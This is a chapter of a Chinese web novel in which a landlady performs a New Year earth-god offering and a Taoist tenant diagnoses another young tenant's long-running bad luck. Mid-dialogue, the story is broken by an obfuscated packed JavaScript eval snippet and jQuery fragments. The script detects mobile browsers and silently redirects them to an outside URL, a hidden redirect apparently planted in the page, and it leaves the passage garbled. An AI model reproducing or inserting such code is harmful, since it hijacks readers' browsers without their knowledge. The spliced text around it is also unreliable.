26.过年26

作品:《房东和她的房客们

    大年初二。


    初一晚上喧腾至凌晨的烟火气散去,空气里残留着淡淡的硝石味,混合着各家门前焚烧年桔叶、柚子叶驱晦的清新烟气。


    按照广府老习俗,这天要“开年”,祭拜土地公公,祈求新年顺遂,家宅平安。


    李琳起得比平时稍晚。


    洗漱后,她打开客厅专用收纳箱,从里面取出一小包供香、两支红烛,还有一叠印着“招财进宝”纹样的黄纸钱。


    接着从阳台上拿了几个洗净的苹果和桔子,整整齐齐码在一个红色塑料托盘里。这些每月初一十五都要做一遍的事,她已经习以为常。


    张圆早就好奇地等在105门口了。


    她昨晚听张童童提了一句“初二拜土地”,觉得新鲜,便问李琳能不能旁观。


    此刻见李琳端着东西下楼,立刻凑了上去,眼睛亮晶晶的:“琳姐,这就是拜土地公吗?要怎么做呀?”


    “很简单,心诚就好。”


    李琳带着她走到3号楼院门内侧的墙边。那里有一个半嵌在墙壁里、约莫一尺见方的小小神龛,红色瓷砖贴面,里面供着一尊笑容可掬的陶瓷土地公像,面前有个小小的香炉,积着厚厚的香灰。


    神龛上方贴着一张褪色的红纸,写着“门口土地福德正神”。


    李琳先将托盘放在地上,用打火机点燃红烛,小心地插在香炉两侧预留给烛的凹槽里。


    跳动的烛光立刻给这阴暗的墙角带来一小团温暖的光晕。


    然后她抽出三支供香,在烛火上点燃,轻轻晃灭明火,缕缕青烟袅袅升起。


    她双手持香,举到额前,对着土地公像微微躬身拜了三拜,嘴唇微动,低声念了几句什么,然后将香插入香炉中央。


    “一般拜三支香,代表天地人,或者敬三清。”


    李琳一边将苹果和桔子供在神龛前,一边对张圆解释,声音不高,在清晨安静的院子里却很清楚,“水果要成单,三个或五个。苹果保平安,桔子是大吉大利。”


    接着,她拿起那叠纸钱,就着烛火点燃一角。


    黄纸在火焰中迅速卷曲、变黑,化为带着特殊气味的灰烬,轻飘飘地落在准备好的铁皮桶里。


    “这是给土地公的‘利是’,答谢他过去一年的照看,也请新年继续保佑家宅安宁,出入平安。”


    整个仪式不过五六分钟,简洁却庄重。


    李琳做得一丝不苟,却又没有丝毫夸张或神秘色彩,就像完成一道程序。


    张圆看得认真,心里那份因为陌生习俗而产生的新奇感,渐渐被一种奇异的宁静取代。


    晨光透过握手楼的缝隙,恰好落在那一小片区域,烛光与天光交融,香烟笔直上升,竟让这简陋的墙角有了一种不一般的肃穆。


    “原来是这样……”


    张圆小声说,目光还流连在土地公慈祥的笑脸上,“好像……挺神圣的。”


    “老传统,求个心安。”


    李琳淡淡地说,开始收拾东西。她话音刚落,楼梯上传来轻微的脚步声。


    是张罗宁走了下来。


    她今日依旧穿着那身毫无款式的深灰棉麻衣裤,长发用一根木簪松松绾在脑后,露出清晰而沉静的眉眼。


    也许是修行人的习惯,她脚步极轻,几乎没什么声音,直到转过楼梯拐角,身影才落入院中两人的视线。


    她的目光先是习惯性地掠过李琳和正在进行简单清理的拜祭痕迹,随即,落在了张圆身上。


    那目光平静无波,却在接触的瞬间,几不可察地停顿了半秒。


    张罗宁的视线在张圆脸上停留的时间,比寻常打量陌生人长了那么几瞬。


    并不是在审视,是在感知。


    她看到了张圆周身和普通人不一样的气场——


    在修行者或有些许灵觉的人看来,那并不是小说里描写得很玄妙的离奇景象,而是一种整体的“感觉”


    ——张圆身上像被蒙着一层极淡的、挥之不去的灰翳,不是浓重的黑气,却有一种连绵不绝的滞涩,偏偏又在流动循环的感觉。


    这种气场不是横祸将至的剧烈凶煞,更像是……长久被细微不幸浸染后,自然沉淀下来的“霉运”。


    如同一个原本清澈的活水池塘,不断被风吹入尘埃沙砾,日积月累,源头堵塞,水质便显得浑浊,渐渐成了死水。


    更让张罗宁心下微动的是,这女孩的“晦气”并不是完全内发,似乎还沾染了一些不干净的、游离的阴秽之气。


    像是无意中踏足了不洁之地,或者是接触了某个带有负面残留的物件。


    这些气息极淡,普通道士甚至灵敏些的动物都未必能察觉。


    却悄无声息地影响着她的运程。


    而此刻,这女孩就站在离自己居所不远的地方。


    张罗宁修的是清净法门,讲究居所、活动范围的气场洁净,利于修行与日常心境。


    她虽然不拒和人相处,却本能地不喜欢这种带有晦涩阴郁的气息靠近自己的“场域”。


    不是嫌弃,更像是园丁不喜欢杂草种子随风落入精心打理的花圃。


    她脚步未停,来到院中。


    李琳已经收拾好铁皮桶,对她点了点头,打招呼道:“张师傅,早。”


    “早,这位姑娘是~?”张罗宁回应,她的目光再次转向张圆,这次带了点询问的意味。


    “她叫张圆,也是租客。”李琳简单介绍,“一楼105的房客。”


    “张师傅新年好。”张圆连忙打招呼,对这位传说中身穿紫袍、在祠堂主持仪式的高人,她是久闻大名。


    面对这么年轻就能成为道教里地位崇高的女道士,她既有好奇也存着几分敬畏。


    张罗宁微微颔首,算是回礼。她忽然开口,问张圆道:“你最近十来年是否常觉诸事不顺?虽无大碍,却琐碎烦心,如同跗骨之蛆?”


    张圆愣了一下,这种半文不白的话让她差点没反应过来。


    她花了十几秒,大脑才翻译出张罗宁的意思。


    她没想到对方会突然问起这个,想了想,点头回答:“啊……是有点。就是总觉得我一直……都挺倒霉的……”


    她挠了挠头,有些不好意思地举例,“但是具体讲起来,事情都不是很大——


    比方说赶车的时候常常刚好差几分钟。


    读高中的时候想买的练习卷子总是被别人买走……


    还有,来广府前,本来约好带我打工的学姐突然有事回老家了。


    我爸妈总是在打零工的时候遇到老板跑路,要不到工钱……”


    她越说声音越小,这种事不提还好,一提起来,桩桩件件、密密匝匝。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199974|197104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而且细想起来,就像是早就在那里等着,细密地织成了一张网,总在她人生的关口轻轻绊她一下。


    来广府打工,能得到这么多人的帮助,已经是她人生中破天荒的顺利了。


    李琳安静地听着,目光落在张罗宁脸上。


    张罗宁听完,脸上并无意外。


    “不是劫数,是运势自然走低,又无意间沾染了阴晦杂气,”


    她话音里带着古韵,像念白又像自语,“如同溪流淤塞,水草缠身,舟行自然迟滞费力。”


    顿了顿,她看向张圆,话锋一转却更缓了些,“你命中亲缘宫与自身运程相系,亲人运势起伏也会波及你,反之亦然。”


    话音落下,张圆眨了眨眼——每个字都听得懂,可连成句子就完全入了迷障。


    好想有个字幕……


    她使劲在脑子里翻译——


    “阴晦杂气”是倒霉事情?


    “亲缘宫”是……指家里人?


    一连串陌生的词儿打着转,搅得她表情都有点发愣,只剩一双眼睛还努力望着张罗宁,等着更明白的答案。


    “你父母是从什么时候开始经常破财,”


    张罗宁又开口,这次说得更慢,像是在斟酌怎么让这话更易懂,


    “或者是在关键时刻……总差最后一步?”


    张圆眼睛一亮,像被说中了心事:“对对对,就是总差一步!”


    她想起父母,语速越来越快,“他们在老家种地是出了名的勤快,可就是攒不下钱。


    还有,我妈跟人合伙收水果往城里送,辛辛苦苦几年结果一算账反而倒亏了一笔……”


    她声音有些发涩,“他们自己也常说,好像总是差那么一点点运气。”


    “阴晦之气萦绕,更损财运与健康运。长久居于气息不畅、阳光不足之所,或接触陈旧不净之物,皆会加剧此象。”


    张罗宁的目光似乎无意地扫过张圆身后的105房门,又掠过整栋被高楼夹击、终年难见直射阳光的3号楼。


    “此类房屋,采光不佳,阳气难入,易聚阴湿晦气。”


    她见张圆表情仍有些茫然,便省去那些术语,直白道:“你本来的运势就偏弱,住在这里,更是雪上加霜。”


    张圆听得后背微微发凉,忍不住往前凑了凑:“那……张师傅,有没有什么办法能化解?不只是我,还有我爸妈他们……”


    张罗宁沉默了片刻。


    她本不应该多讲。


    各人因果各人担,妄加干涉,便是乱了天机,也扰自身清静。


    南下广府,觅得这处虽蔽塞却意外“藏风纳气”的蜗居,就是图个远离俗缘,专心体悟那一线阴极阳生的道理。


    可话到嘴边,终究是顿住了。


    眼前这女孩眼里惶然的光,像极了许多年前……


    况且……她眸光微凝,心念如罗盘上的指针,轻轻一转。


    这栋老楼格局奇特,高楼环抱如障,却也因此隔绝外噪,聚敛地阴。


    对她所修之法而言,恰是一处难得的“幽潭”,利于沉心观照。


    如果任由这个女孩身上渐重的晦气在此盘桓不去,如浊水入潭,坏了这一方难得的清寂,于她修行亦是妨碍。


    两念相权,那句到了嘴边的推拒,悄无声息地咽了回去。